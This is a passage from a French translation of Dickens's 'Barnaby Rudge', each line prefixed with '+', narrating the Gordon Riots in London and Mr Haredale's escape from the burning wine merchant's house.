+populace, si ce n'était pas sa maison qu'on devait venir attaquer
+après. Il passa toute la nuit dans la même chambre, sur un
+fauteuil, faisant par-ci par-là un petit somme, et recevant de
+temps en temps les rapports de John Grueby et de trois ou quatre
+autres employés de confiance, qui s'en allaient aux écoutes dans
+la foule; il leur avait fait préparer, pour les soutenir, une
+bonne provision de comestibles dans la chambre voisine, et même,
+malgré son anxiété, il allait de temps en temps lui-même y
+chercher du réconfort.
+
+Ces rapports étaient tout d'abord d'une nature assez alarmante;
+mais, à mesure que la nuit avançait, ils n'en furent que plus
+inquiétants, et contenaient de telles menaces de violence et de
+destruction, qu'en comparaison de ce nouveau plan, tous les
+troubles antérieurs ne paraissaient rien.
+
+La première nouvelle qu'on lui apporta fut celle de la prise de
+Newgate et de la fuite de tous les prisonniers, dont la marche, à
+mesure qu'ils montaient par Holborn et les rues adjacentes,
+s'annonçait à tous les citoyens renfermés dans leurs maisons par
+le fracas de leurs chaînes, concert épouvantable, qui s'entendait
+dans toutes les directions, comme autant de forges en exercice.
+D'ailleurs les flammes jetaient un tel éclat par les voûtes
+vitrées du distillateur, que les chambres et les escaliers au-
+dessous étaient presque aussi bien éclairés qu'en plein jour,
+pendant que les clameurs éloignées de la multitude faisaient
+trembler jusqu'aux murailles et aux plafonds.
+
+À la fin on les entendit approcher de la maison, et il y eut là
+quelques minutes d'une anxiété épouvantable. Ils arrivèrent tout
+près, et s'arrêtèrent devant; mais, après avoir poussé trois cris
+effroyables, ils continuèrent leur chemin, et, quoiqu'ils y
+revinssent cette nuit à plusieurs reprises, donnant chaque fois
+une nouvelle alarme, ils ne firent rien: ils avaient les mains
+pleines. Peu de temps après qu'ils avaient disparu pour la
+première fois, un des éclaireurs du brave négociant accourut avec
+la nouvelle qu'ils s'étaient arrêtés devant la maison de lord
+Mansfield, dans Bloomsbury-Square.
+
+Bientôt après, il en arriva un autre, puis un autre; puis le
+premier revint à son tour, et ainsi de suite, petit à petit: voici
+ce qu'ils racontèrent. L'attroupement qui s'était arrêté devant la
+maison de lord Mansfield avait sommé les gens qui étaient dedans
+de leur ouvrir, et ne recevant point de réponse (lord et lady
+Mansfield s'échappaient en ce moment par une porte dérobée), ils
+étaient entrés de force, selon leur habitude. Là, ils se mirent à
+démolir la maison avec la plus grande furie, et, y mettant le feu
+en plusieurs endroits, ils avaient enveloppé dans une ruine
+commune tout le mobilier, qui était d'une grande valeur,
+l'argenterie, les bijoux, une magnifique galerie de tableaux, la
+plus rare collection de manuscrits qu'il y eût jamais eu au monde
+entre les mains d'un particulier, et, ce qui était pis encore,
+parce que c'était irréparable, l'immense bibliothèque de droit,
+contenant presque à chaque page des notes de la main même du juge,
+et d'une valeur inestimable, parce que c'était le résultat des
+études et de l'expérience de sa vie tout entière. Pendant qu'ils
+étaient à sauter en hurlant autour du feu, une troupe de soldats,
+un magistrat en tête, était survenue, trop tard, il est vrai, pour
+empêcher le mal déjà fait; mais pourtant ils s'étaient mis à
+disperser la foule. On avait lu le _riot act_[1], et, comme
+l'attroupement ne se dissipait pas, les soldats avaient reçu
+l'ordre de faire feu, et, mettant leurs fusils en joue, avaient
+fait tomber roide morts, à la première décharge, six hommes et une
+femme; il y avait eu beaucoup de blessés. Ils avaient rechargé
+sur-le-champ, fait une seconde décharge, mais probablement en
+l'air, car on n'avait vu tomber personne. Là-dessus, effrayée sans
+doute aussi par les cris et le tumulte, la foule s'était mise à se
+disperser; les soldats avaient avancé, laissant par terre les
+morts et les blessés. Mais ils n'avaient pas eu plus tôt le dos
+tourné, que les factieux étaient revenus emporter les cadavres et
+les blessés pour faire une procession funèbre, les corps en tête.
+Ils avaient marché dans cet ordre avec des éclats de gaieté
+horrible et sauvage, fixant des armes dans la main même des morts
+pour leur donner l'air d'être vivants, et précédés par un drôle
+qui agitait de toutes ses forces la cloche du dîner de lord
+Mansfield.
+
+Les éclaireurs rapportèrent encore que cette bande de mutins
+s'était renforcée d'un certain nombre d'autres gens qu'ils avaient
+rencontrés, revenant de faire semblable besogne; et que, laissant
+seulement un détachement pour escorter les blessés et les morts,
+ils s'étaient mis en marche pour la maison de campagne de lord
+Mansfield à Caen-Wood, entre Hampstead et Highgate, dans
+l'intention de lui faire subir le même sort qu'à la maison de
+ville, et se promettant d'y allumer un feu qui, de cette hauteur,
+illuminerait Londres tout entier. Mais ils avaient été
+désappointés dans cette espérance par la rencontre d'un parti de
+cavalerie qui les attendait là, et qui les avait fait revenir,
+plus vite qu'ils n'étaient allés, tout droit à Londres.
+
+Chaque bande séparée qui s'était reformée dans les rues, était
+allée, de son côté, se mettre à l'oeuvre, selon son caprice, et le
+feu avait été mis, en un moment, à une douzaine de maisons, parmi
+lesquelles celle de sir John Fielding et de deux autres juges de
+paix. On en avait incendié dans Holborn (alors un des carrefours
+les plus populeux de Londres) quatre autres qui brûlaient toutes à
+la fois, et ne laissèrent bientôt plus qu'un amas de cendres, car
+le peuple avait coupé les tuyaux d'irrigation, et n'avait pas
+voulu laisser les pompiers faire jouer leurs pompes. Dans une
+maison près de Moorfields, ils trouvèrent quelques serins en cage;
+ils les prirent et les jetèrent tout vivants dans les flammes. Les
+pauvres petites créatures criaient, dit-on, comme des enfants,
+quand on les lança sur la braise: il y eut même un homme qui,
+touché de leur sort, fit de vains efforts pour les sauver, à la
+grande indignation de la foule, qui voulait lui faire un mauvais
+parti.
+
+Dans cette même maison, un des garnements qui avaient parcouru les
+appartements, brisant les meubles et prêtant leur aide à la
+destruction de la maison, trouva une poupée de petite fille... un
+méchant jouet... qu'il exposa par la fenêtre aux yeux de la
+populace dans la rue, comme une idole qu'adoraient les habitants
+de la maison. Pendant ce temps-là, un autre de ses compagnons qui
+avait la conscience aussi tendre (c'étaient justement ces deux
+hommes-là qui avaient été les premiers à faire rôtir tout vifs les
+serins), s'assit sur le parapet de la maison, pour adresser de là
+à la foule une harangue tirée d'une brochure mise en circulation
+par l'Association, sur les vrais principes du Christianisme. Que
+faisait, pendant ce temps-là, le lord-maire? Il avait les mains
+dans ses poches, contemplant tout cela du même oeil qu'il aurait
+contemplé tout autre spectacle, charmé, à le voir, d'avoir trouvé
+une bonne place.
+
+Tels furent les rapports communiqués au vieux négociant par ses
+serviteurs, pendant qu'il était assis auprès du lit de
+M. Haredale, sans avoir pour ainsi dire fermé l'oeil depuis la
+commencement de la nuit, aux cris de la populace, à la lueur des
+divers incendies, au bruit de la fusillade des soldats. Si on
+ajoute à ces détails la mise en liberté de tous les prisonniers de
+la prison neuve, à Klerkenwell, bon nombre de vols commis dans les
+rues contre les passants, car la foule pouvait faire à son aise
+tout ce qui lui renaît dans la tête, telles furent les scènes
+dont, heureusement pour lui, M. Haredale ne se douta seulement
+pas, et qui se passèrent toutes avant minuit.
+
+
+
+
+CHAPITRE XXV.
+
+
+Quand les ténèbres commencèrent à faire place au jour, la ville
+avait un aspect étrange.
+
+C'est à peine si personne avait songé à se coucher de toute la
+nuit. L'inquiétude générale était si visible sur les visages des
+habitants, avec une expression si altérée par le défaut de sommeil
+(car tous ceux qui avaient quelque chose à perdre étaient restés
+sur pied depuis le lundi), qu'un étranger qui serait tombé dans
+les rues, sans rien savoir, aurait pu croire qu'il y avait quelque
+peste ou quelque épidémie qui désolait la ville. Au lieu de
+l'animation qui égaye d'habitude le matin, tout était mort et
+silencieux. Les boutiques restaient fermées, les bureaux et les
+magasins étaient clos, les stations de fiacres et de chaises à
+porteurs étaient désertes; pas une charrette, pas un wagon qui
+réveillât de ses cahots les rues paresseuses; les cris des
+marchands ne se faisaient pas entendre; partout régnait un silence
+morne. Un grand nombre de gens étaient dehors dès avant le point
+du jour; mais ils glissaient plutôt qu'ils ne marchaient, comme
+s'ils avaient peur du bruit même de leurs pas: on aurait dit que
+la voie publique était plutôt hantée par des revenants que
+fréquentée par la population, et on voyait, autour des ruines
+fumantes, des ombres muettes écartées les unes des autres, qui
+n'osaient pas se risquer à blâmer les perturbateurs ou à en avoir
+seulement l'air par leurs chuchotements.
+
+Chez le lord président à Piccadilly, dans le palais Lambeth, chez
+le lord chancelier dans Grent-Ormond-Street, à la Bourse, à la
+Banque, à Guildhall, dans les _Inns_ de la Cour, dans les salles
+de justice, dans chaque chambre ayant sa façade sur les rues des
+environs de Westminster et du Parlement, il y avait des
+détachements de soldats, postés là avant le jour. Un corps de
+Horse-Guards était en parade devant Palace-Yard. On avait formé
+dans le Park un camp où quinze cents hommes et cinq bataillons de
+la milice étaient sous les armes; la Tour était fortifiée, les
+ponts-levis étaient dressés, les canons chargés et pointés, avec
+deux régiments d'artillerie occupés à renforcer la forteresse et à
+la mettre en état de défense. Un fort détachement de soldats
+stationnait sur le qui-vive à New-River-Head, que le peuple avait
+menacé d'attaquer, et où l'on disait qu'ils avaient l'intention de
+couper les conduits, afin qu'il n'y eût pas d'eau pour éteindre
+les flammes. Dans le marché à la volaille, à Corn-Hill, sur
+plusieurs autres points principaux, on avait tendu à travers les
+rues des chaînes de fer; des escouades avaient été distribuées
+dans quelques vieilles églises de la Cité, pendant qu'il faisait
+encore nuit, ainsi que dans un certain nombre de maisons
+particulières, comme celle de lord Buckingham à Grosvenor-Square:
+on les avait barricadées comme pour y soutenir un siège, avec des
+canons pointés aux fenêtres. Le soleil, en se levant, éclaira des
+appartements somptueux remplis d'hommes armés; les meubles mis en
+tas dans les coins, à la hâte et sans précaution, au milieu de la
+terreur du moment; les armes qui brillaient dans les chambres de
+la Cité au milieu des pupitres, des tabourets, des livres
+poudreux; les petits cimetières enfumés dans les ruelles
+tortueuses et les rues de traverse, avec des soldats étendus parmi
+les tombes, ou flânant à l'ombre de quelque vieil arbre, et leurs
+fusils en faisceau étincelant au jour; les sentinelles solitaires
+se promenant de long en large dans les cours de la Cité,
+maintenant silencieuses, mais hier encore animées par le bruit et
+le mouvement des affaires; enfin partout des postes militaires,
+des garnisons, des préparatifs menaçants.
+
+À mesure que le jour faisait fuir l'ombre, on voyait dans les rues
+des spectacles encore plus inaccoutumés. Les portes du Banc du roi
+et des prisons de Fleet, quand on vint les ouvrir à l'heure
+ordinaire, se trouvèrent placardées d'avis annonçant que les
+émeutiers reviendraient cette nuit pour les réduire en cendres.
+Les directeurs, sachant qu'ils ne tiendraient que trop bien, selon
+toute apparence, leur parole, ne demandaient pas mieux que de
+lâcher leurs prisonniers et de leur permettre de déménager. De
+sorte que, tout le long du jour, ceux qui avaient quelques meubles
+s'occupèrent à les emporter, les uns ici, les autres là, la
+plupart chez des revendeurs, pour en tirer le plus d'argent qu'ils
+pourraient. Parmi ces débiteurs incarcérés pour dettes, il y en
+avait qui étaient si abattus par le long séjour qu'ils avaient
+fait en prison, si misérables, si dénués d'amis, si morts au
+monde, sans personne qui eût conservé leur souvenir ou qui leur
+eût gardé quelque intérêt, qu'ils suppliaient leurs geôliers de ne
+pas leur rendre leur liberté, et de les diriger sur quelque autre
+maison de force. Mais les geôliers n'en avaient garde; ils
+craignaient trop de s'exposer à la colère de la populace, et les
+mettaient à la porte, où ils erraient çà et là dans les rues, se
+rappelant à peine les chemins dont leurs pieds avaient depuis si
+longtemps perdu l'habitude; et ces pauvres créatures dégradées et
+pourries jusqu'au coeur par le séjour de la prison s'en allaient,
+la larme à l'oeil, ratatinées dans leurs haillons, et traînant la
+savate tout le long de la chaussée.
+
+Parmi les trois cents prisonniers eux-mêmes qui s'étaient échappés
+de Newgate, il y en avait... un petit nombre, il est vrai, mais
+quelques-uns pourtant... qui cherchaient partout leurs geôliers
+pour se remettre entre leurs mains, préférant l'emprisonnement et
+une punition nouvelle aux horreurs d'une nuit à passer encore
+comme la dernière. Plusieurs détenus, ramenés au lieu de leur
+ancienne captivité par quelque attrait indéfinissable, ou par le
+désir de triompher de sa chute et de repaître leur ressentiment du
+plaisir de le voir réduit en cendres, ne craignaient pas d'y
+retourner en plein midi et de flâner autour des cachots. Ce jour-
+là, on en reprit cinquante dans l'enceinte de la prison; ce qui
+n'empêcha pas les autres d'y retourner, malgré tout, et de s'y
+faire prendre, tout le long de la semaine, plusieurs fois par
+jour, par groupes de deux ou trois. Sur les cinquante dont nous
+venons de parler, il y en avait quelques-uns d'occupés à essayer
+de ranimer le feu; mais en général ils ne semblaient avoir d'autre
+objet que de venir errer et se promener autour de leur ancienne
+résidence: car souvent on les trouva là endormis au milieu des
+ruines, ou assis à causer ensemble, ou même occupés à boire et à
+manger, comme dans un lieu de plaisir.
+
+Outre les placards affichés aux portes des prisons de Fleet et du
+Banc du roi, on déposa plusieurs avis pareils, avant une heure de
+l'après-midi, à la porte de quelques maisons particulières; et
+plus tard l'émeute proclama son intention de se saisir de la
+Banque, de la Monnaie, de l'Arsenal de Woolwich et des palais
+royaux. Ces avis étaient presque toujours distribués par un
+porteur seul, qui tantôt, si c'était une boutique, entrait pour le
+déposer, avec des menaces sanglantes peut-être, sur le comptoir;
+tantôt, si c'était une maison bourgeoise, frappait à la porte, et
+le remettait à la servante. Malgré la présence de la force armée
+dans chaque quartier de la ville, et de la troupe nombreuse campée
+dans le Park, ces messagers continuèrent la distribution de leurs
+manifestes avec impunité, tout le long de la journée. On vit de
+même deux jeunes garçons descendre Holborn, armés de barreaux pris
+aux grilles de la maison de lord Mansfield, et quêtant de l'argent
+pour les émeutiers. On vit ainsi un homme de haute taille aller à
+cheval dans Fleet-Street, faire une collecte pour le même objet:
+celui-là refusait de recevoir autre chose que des pièces d'or.
+
+Il circulait aussi, dans ce moment, une rumeur qui répandait
+encore plus de terreur dans toute la ville de Londres que ces
+intentions même annoncées publiquement d'avance par l'émeute,
+quoique tout le monde ne doutât pas que la réussite de ces
+machinations ne dût entraîner une banqueroute nationale et la
+ruine générale. On disait qu'ils étaient résolus à ouvrir les
+portes de Bedlam et à lâcher les fous. C'était là ce qui
+présentait à l'esprit de la population des images si effrayantes,
+et qui menaçait en effet d'un attentat si fécond en horreurs d'un
+nouveau genre, dont l'imagination même ne pouvait se rendre
+compte, qu'il n'y avait pas de perte si importante ni de cruauté
+si barbare dont on n'eût plus volontiers couru le risque, et que
+beaucoup d'hommes jouissant de leur bon sens quelques heures
+auparavant furent sur le point d'en perdre la tête.
+
+C'est ainsi que se passa la journée: les prisonniers
+déménageaient; les gens couraient çà et là dans les rues,
+emportant ailleurs leurs meubles et leurs effets, des groupes
+silencieux restaient debout autour des maisons ruinées; tout
+commerce était suspendu; et les soldats, disposés dans l'ordre que
+nous avons vu, restaient dans une complète inaction. C'est ainsi
+que se passa la journée, en attendant la nuit qu'on voyait
+approcher avec terreur.
+
+Enfin, le soir, sur le coup de sept heures, le Conseil privé du
+roi publia une proclamation solennelle déclarant: qu'il était
+devenu nécessaire d'employer la force armée; que les officiers
+avaient reçu l'ordre le plus direct et le plus formel de faire à
+l'instant usage de tous les moyens en leur pouvoir pour réprimer
+les troubles; que tous les sujets honnêtes de Sa Majesté étaient
+invités à rester chez eux cette nuit-là, eux, leurs domestiques et
+leurs apprentis. Puis on distribua aux soldats de service trente-
+six cartouches par homme; on battit le tambour, et toute la troupe
+fut sous les armes au soleil couchant.
+
+Les autorités municipales, stimulées par ces mesures de rigueur,
+se réunirent en assemblée générale, votèrent des remercîments aux
+autorités militaires pour le concours qu'elles voulaient bien
+prêter à l'administration civile, l'acceptèrent et placèrent les
+corps désignés sous la direction des deux shériffs. Dans le palais
+de la reine, une double garde, les yeomen de service, les
+officiers des menus plaisirs, et tous les autres serviteurs,
+furent placés dans les corridors et sur les escaliers, à sept
+heures, avec la recommandation expresse de veiller à leur poste
+toute la nuit; puis on ferma toutes les portes. Les gentlemen du
+Temple et autres Inns montèrent la garde à l'intérieur de leurs
+bâtiments, et firent dépaver le devant de la rue pour barricader
+leurs portes. Dans Lincoln's Inn, ils cédèrent la grand'salle et
+les communs à la milice du Northumberland, commandée par lord
+Algernon Percy; dans quelques quartiers de la Cité, les bourgeois
+s'offrirent d'eux-mêmes et, sans forfanterie, firent bonne
+contenance. Des centaines de gentlemen forts et robustes vinrent
+se jeter, armés jusqu'aux dents, au milieu des salles des diverses
+compagnies, fermèrent à double tour et au verrou toutes les
+portes, en disant aux factieux dont ils étaient entourés; «Venez-
+y, si vous l'osez, et vous allez voir.» Tous ces arrangements
+faits simultanément, ou à peu près, furent complétés, en attendant
+qu'il fît tout à fait noir: les rues se trouvèrent comparativement
+dégagées, gardées aux quatre coins et dans les abords principaux
+par les troupes, pendant que des officiers à cheval allaient dans
+toutes les directions, ordonnant aux traînards qu'ils pouvaient
+rencontrer de rentrer chez eux, et invitant les habitants à rester
+dans leurs maisons, et même, en cas de fusillade, à ne pas
+approcher des fenêtres. On doubla les chaînes dressées dans les
+carrefours où l'on pouvait craindre davantage l'invasion des
+masses, et on y établit des postes considérables de soldats. Quand
+on eut pris toutes ces précautions et qu'il fit tout à fait nuit,
+les commandants attendirent le résultat avec quelque anxiété, mais
+aussi avec quelque espérance que ces démonstrations vigoureuses
+suffiraient pour décourager la populace et prévenir de nouveaux
+désordres.
+
+Mais ils s'étaient cruellement trompés dans leurs calculs: car,
+moins d'une demi-heure après, comme si la tombée de la nuit eût
+été le signal arrêté d'avance, les émeutiers, ayant pris d'abord
+la précaution d'empêcher, par petites bandes, l'allumage des
+réverbères, se levèrent comme une mer en furie, se montrant à la
+fois sur tant de points différents, et avec une rage si
+inconcevable, que les officiers qui commandaient les troupes ne
+surent d'abord de quel côté se tourner ni que faire. De nouveaux
+incendies éclatèrent, l'un après l'autre, dans chaque quartier de
+la ville, comme si les insurgés avaient l'intention d'envelopper
+la Cité dans un cercle de flammes qui, se resserrant petit à
+petit, la réduirait en cendres tout entière; la foule grouillait
+dans les rues comme une fourmilière, avec des cris affreux; et,
+comme il n'y avait plus dehors que les perturbateurs d'un côté et
+les soldats de l'autre, ceux-ci pouvaient croire qu'ils voyaient
+là Londres tout entier rangé contre eux en bataille, et qu'ils
+étaient seuls contre toute la ville.
+
+En deux heures, trente-six incendies, trente-six conflagrations
+importantes, étaient signalés; parmi lesquels on comptait Borough-
+Clink dans Tooley-Street, le Banc du roi, la prison de la Fleet,
+et le nouveau Bridewell. Chaque rue était un champ de bataille.
+Dans chaque quartier, le bruit des mousquets de la troupe dominait
+les clameurs et le tumulte de la populace. La fusillade commença
+dans le marché à la volaille, où on avait tendu une chaîne au
+travers de la chaussée; c'est là que la première décharge tua du
+coup une vingtaine de factieux. Les soldats, après avoir à
+l'instant emporté leurs cadavres dans l'église Saint Médard,
+firent feu une seconde fois, et, serrant de près la foule qui
+avait commencé à céder passage en voyant l'exécution commencer, se
+reformèrent en ligne dans Cheapside et chargèrent à la baïonnette.
+
+Les rues offraient alors un horrible spectacle. Les huées de la
+canaille, les cris des femmes, les plaintes des blessés, le bruit
+incessant de la fusillade, formaient un accompagnement
+étourdissant et épouvantable aux diverses scènes étalées sous les
+yeux à chaque bout. Là où le chemin était barré par des chaînes
+était aussi le fort du combat et le plus grand nombre de victimes;
+mais on peut dire qu'il n'y avait pas un carrefour important où
+l'affaire ne fût pas chaude et sanglante.
+
+À Holborn-Bridge, à Holborn-Hill, la confusion était plus grande
+que partout ailleurs; car la foule qui débordait de la Cité en
+deux courants impétueux, l'un par Ludgate-Hill, et l'autre par
+Newgate-Street, se réunissait là et formait une masse si compacte,
+qu'à chaque décharge les gens semblaient tomber par tas. On avait
+posté en cet endroit un gros détachement de soldats qui tiraient
+tantôt du côté de Fleet-Market, tantôt du côté de Holborn, ou de
+Snowhill, balayant constamment les rues dans toutes les
+directions. Là aussi il y avait plusieurs incendies considérables,
+de sorte que toutes les horreurs de cette nuit terrible semblaient
+s'être donné rendez-vous sur ce seul et même théâtre.
+
+Au moins vingt fois les assaillants, ayant à leur tête un homme
+qui brandissait une hache dans sa main droite, monté sur un gros
+et grand cheval de brasseur, caparaçonné avec les chaînes
+emportées de Newgate, dont le cliquetis accompagnait chacun de ses
+pas, firent une tentative pour forcer le passage et mettre le feu
+à la maison du négociant en vins. Au moins vingt fois ils furent
+repoussés avec perte, ce qui ne les empêcha pas de revenir à la
+charge; et, quoique le bandit qui était à leur tête fût bien
+reconnaissable, et bien visible, car il n'y avait pas d'autre
+factieux à cheval, pas un coup ne put l'atteindre. Chaque fois que
+la fumée de la fusillade se dissipait, on était sûr de le trouver
+là, appelant ses compagnons de sa voix enrouée, brandissant
+toujours sa hache sur sa tête, et prenant un nouvel élan, comme
+s'il portait un charme qui protégeât sa vie, et qu'il fût à
+l'épreuve de la poudre et des balles.
+
+C'était Hugh: c'était lui qu'on voyait se multiplier sur tous les
+points dans l'émeute. C'était lui qui avait dirigé deux attaques
+sur la Banque, qui avait aidé à renverser les baraques de péage
+sur le pont de Black-Friars, et en avait semé l'argent sur le
+pavé; qui avait mis le feu de sa propre main à deux prisons; qui,
+ici, là, partout et toujours, était à l'avant-garde, toujours en
+mouvement, frappant les soldats, encourageant la foule, faisant
+entendre la musique de fer de son cheval à travers les cris et le
+tapage, sans jamais être atteint ni arrêté un moment. Cerné d'un
+côté, il se faisait jour de vive force ailleurs; obligé de se
+retirer sur ce point, il avançait sur cet autre à l'instant même.
+Repoussé de Holborn pour la vingtième fois, il poussait son cheval
+à la tête d'une grosse troupe d'insurgés droit à Saint-Paul,
+attaquait un poste de soldats chargés de la garde des prisonniers
+derrière les grilles, les forçait à la retraite, leur prenait les
+hommes dont ils devaient compte, et, avec ce renfort, revenait à
+la charge, dans le délire du vin et de la rage, les excitant de
+ses hourras comme un démon.
+
+Le plus habile cavalier aurait eu bien de la peine à rester à
+cheval au milieu d'une telle foule et d'un pareil tumulte mais,
+quoique ce furieux roulât sur la croupe (il n'avait pas de selle)
+comme un bateau ballotté par la mer, il n'était pas un instant
+embarrassé de se tenir ferme et de diriger sa monture partout où
+il voulait. Dans les rangs les plus épais et les plus pressés, sur
+les cadavres et les débris enflammés, tantôt sur les trottoirs,
+tantôt sur la chaussée, tantôt poussant son cheval sur les marches
+d'un perron pour mieux se faire voir de son parti, tantôt enfin se
+frayant un passage dans une masse d'êtres vivants, si serrée et si
+compacte qu'on n'aurait pas pu en couper une tranche avec la lame
+d'un couteau, il allait toujours, sûr de surmonter tous les
+obstacles à son gré. Et peut être est-ce à cette circonstance même
+qu'il devait de n'avoir pas encore reçu une balle: car son audace
+extrême, et la certitude où l'on était qu'il devait être un de
+ceux dont la proclamation officielle avait mis à prix la capture,
+inspiraient aux soldats le désir de le prendre vivant et
+détournaient bien des coups qui, sans cela, ne se seraient pas
+égarés loin de lui.
+
+Le négociant et M. Haredale, ne pouvant plus rester tranquillement
+assis à écouter le bruit, sans voir ce qui se passait, avaient
+grimpé sur le toit de la maison, et là, cachés derrière une pile
+de cheminées, ils regardaient en bas avec précaution dans la rue;
+ils avaient quelque espérance qu'après tant d'attaques toujours
+repoussées, les assaillants allaient céder, quand un grand cri
+leur annonça qu'un parti nouveau arrivait de l'autre côté, et
+quand l'effroyable fracas de ces fers maudits les avertit en même
+temps que c'était encore Hugh qui était à la tête de cette troupe.
+Les soldats s'étaient avancés dans Fleet-Market, où ils étaient
+occupés à disperser la foule devant eux; ce qui permit aux
+assaillants de marcher sans rencontrer d'obstacle et d'arriver
+bientôt devant la maison.
+
+«Tout est perdu maintenant, dit le négociant: dans une minute
+voilà cinquante mille livres sterling qui vont être jetées dans la
+rue. Il faut nous sauver. Nous ne pouvons plus rien faire, trop
+heureux si nous pouvons seulement échapper.»
+
+Leur première idée avait été de se glisser comme ils pourraient le
+long des toits des maisons, et d'aller frapper à la fenêtre de
+quelque mansarde pour qu'on leur permît de passer par là, et de
+descendre dans la rue afin de se sauver. Mais un autre cri, plus
+furieux encore, monta de la populace, dont tous les visages en
+l'air étaient tournés vers eux, et leur apprit qu'ils étaient
+découverts, que même on avait reconnu M. Haredale: car Hugh, le
+voyant en plein, à la lueur du feu qui éclairait ce côté de la
+maison _a giorno_, l'appela par son nom, en jurant qu'il voulait
+avoir sa vie.
+
+«Laissez-moi, dit M. Haredale au négociant, et au nom du ciel, mon
+bon ami, sauvez-vous... Viens y donc, marmottait-il entre ses
+dents en se tournant du côté de Hugh, et en lui faisant face, sans
+prendre davantage aucun souci de se cacher. Le toit est haut et,
+si une fois je t'y tiens, je te réponds que nous mourrons
+ensemble.
+
+-- Folie! dit l'honnête marchand en le tirant par derrière; folie
+toute pure! Entendez raison, monsieur; mon bon monsieur, entendez
+raison. Je ne pourrais plus maintenant me faire ouvrir en allant
+cogner à quelque fenêtre, et, quand je le pourrais, je ne
+trouverais personne d'assez hardi pour favoriser ma fuite.
+Traversons les caves; il y a là sur la rue de derrière une espèce
+de passage par où nous entrons et sortons les tonneaux. Ne perdez
+pas un instant: venez avec moi... pour nous deux... pour moi...
+mon cher monsieur.»
+
+Tout en parlant, tout en tirant M. Haredale, il put, comme lui,
+jeter un coup d'oeil sur la rue; un simple coup d'oeil, mais qui
+suffit pour leur montrer la foule se resserrant et se pressant
+contre la maison: les uns avec des armes courant au premier rang
+pour enfoncer les portes et les fenêtres; les autres apportant des
+tisons du feu voisin; d'autres, le nez en l'air, suivant des yeux
+leur course sur les toits et les montrant à leurs compagnons;
+tous, furieux et mugissants, comme les flammes qu'ils avaient
+allumées. Ils virent des hommes avides des trésors de liqueurs
+fortes qu'ils savaient entassés là, ils en virent d'autres, qui
+avaient été blessés, étendus par terre pour y mourir, dans les
+allées d'en face, misérables abandonnés, au milieu de ce vaste
+rassemblement; ici une femme tout effrayée qui cherchait à
+s'échapper; là un enfant perdu; plus loin un ignoble ivrogne, qui,
+sans s'apercevoir seulement d'une blessure mortelle qu'il avait
+reçue à la tête, criait et se battait jusqu'à la fin. Ils virent
+tout cela distinctement, même avec une foule d'incidents
+vulgaires, comme un homme qui avait perdu son chapeau, ou qui se
+retournait, ou qui se baissait, ou qui donnait une poignée de main
+à un autre, mais d'un coup d'oeil si rapide que, rien que le temps
+de faire un pas pour se retirer, ils avaient perdu de vue tout ce
+spectacle, et ne voyaient plus que leur pâleur mutuelle, et le
+ciel en feu sur leurs têtes.
+
+M. Haredale céda aux prières de son compagnon, plutôt parce qu'il
+était résolu à le défendre, que par souci de sa propre vie et pour
+assurer sa fuite; ils rentrèrent donc dans la maison et
+redescendirent ensemble l'escalier. Les coups roulaient comme le
+tonnerre sur les volets; les pinces travaillaient déjà sous la
+porte; les vitres tombaient des croisées: une lumière éclatante
+brillait par les plus minces ouvertures, et ils entendaient parler
+les meneurs si près de chaque trou de serrure ou autre, qu'on
+aurait dit que ces brigands leur murmuraient à l'oreille d'une
+voix enrouée des menaces de mort. Ils n'eurent que le temps
+d'arriver au bas des degrés de la cave et de fermer la porte
+derrière eux: la populace était entrée dans la maison.
+
+Les voûtes étaient d'une obscurité profonde, et, comme ils
+n'avaient ni torche ni chandelle (ils se seraient bien gardés de
+trahir ainsi leur lieu de refuge), ils étaient obligés de chercher
+leur chemin à tâtons. Mais ils ne furent pas longtemps sans y voir
+clair: car ils n'avaient encore fait que quelques pas, lorsqu'ils
+entendirent l'émeute forcer la porte, et, en jetant derrière eux
+un regard sous les arcades du corridor, ils purent les voir de
+loin se précipiter çà et là avec des flambeaux, mettre les
+tonneaux en perce, défoncer les cuves, tourner à droite à gauche
+dans les celliers, et se jeter à plat ventre pour boire aux
+ruisseaux de spiritueux qui déjà coulaient sur le sol.
+
+Les deux fugitifs n'en pressaient que mieux le pas, et déjà ils
+avaient pénétré jusqu'à la dernière voûte qui les séparait du
+passage, quand tout à coup, dans la direction où ils allaient, une
+vive lumière vint éclairer leurs visages, et, avant même qu'ils
+eussent pu se jeter sur le côté, ou faire un pas en arrière, ou
+chercher une cachette, deux hommes, dont l'un portait une torche,
+arrivèrent sur eux et s'écrièrent, dans une espèce de murmure de
+saisissement: «Les voilà!»
+
+Au même instant ils jetèrent la coiffure postiche dont ils
+s'étaient affublés. M. Haredale vit devant lui Édouard Chester, et
+puis après, quand le négociant étonné eut la force d'ouvrir la
+bouche pour prononcer ce nom... Joe Willet.
+
+Vraiment oui! c'était bien Joe Willet en personne, le même Joe
+(avec un bras de moins pourtant), qui, tous les ans, faisait à
+chaque trimestre un voyage sur la jument grise pour venir payer le
+mémoire du rougeaud marchand de vins. Et c'était ce même rougeaud
+marchand de vins, ci-devant de Thomas-Street, qui en ce moment le
+regardait en face et l'appelait par son nom.
+
+«Donnez-moi la main, dit Joe doucement et, qui plus est, la
+prenant de lui-même bon gré mal gré, n'ayez pas peur de secouer la
+mienne: elle est à vous de bon coeur; malheureusement elle n'a
+plus sa camarade. Mais, avez-vous bonne mine! quel gaillard vous
+faites! Et vous... que Dieu vous bénisse, monsieur. Prenez
+courage, prenez courage. Nous les retrouverons, allez! n'ayez pas
+peur; nous n'avons pas perdu notre temps.»
+
+Il y avait dans le langage de Joe quelque chose de si franc et de
+si honnête, que M. Haredale, involontairement, lui mit la main
+dans la main, quoique leur rencontre ne laissât pas de lui être un
+peu suspecte. Mais le regard qu'il lança en même temps à Édouard
+Chester, la discrétion avec laquelle ce jeune gentleman se tenait
+à l'écart, n'échappèrent pas à Joe, qui se mit à dire hardiment,
+en jetant aussi un coup d'oeil du côté d'Édouard:
+
+«Les temps sont bien changés, monsieur Haredale, et voilà le
+moment venu de distinguer nos amis de nos ennemis et de ne pas
+prendre les uns pour les autres. Permettez-moi de vous dire que,
+sans ce gentleman, il est bien probable que vous ne seriez plus en
+vie à cette heure, ou que vous seriez pour le moins grièvement
+blessé.
+
+-- Que dites-vous là? lui demanda M. Haredale.
+
+-- Je dis premièrement qu'il ne fallait déjà pas être capon pour
+aller dans la foule, déguisé comme un gueux de leur clique: mais
+passons là-dessus, j'y songe, puisque je me trouvais dans le même
+cas; secondement, que c'est une action brave et glorieuse (voilà
+comme je l'appelle), d'avoir porté à ce gredin-là un coup qui l'a
+descendu de son cheval, et sous leurs yeux.
+
+-- Quel gredin? sous les yeux de qui?
+
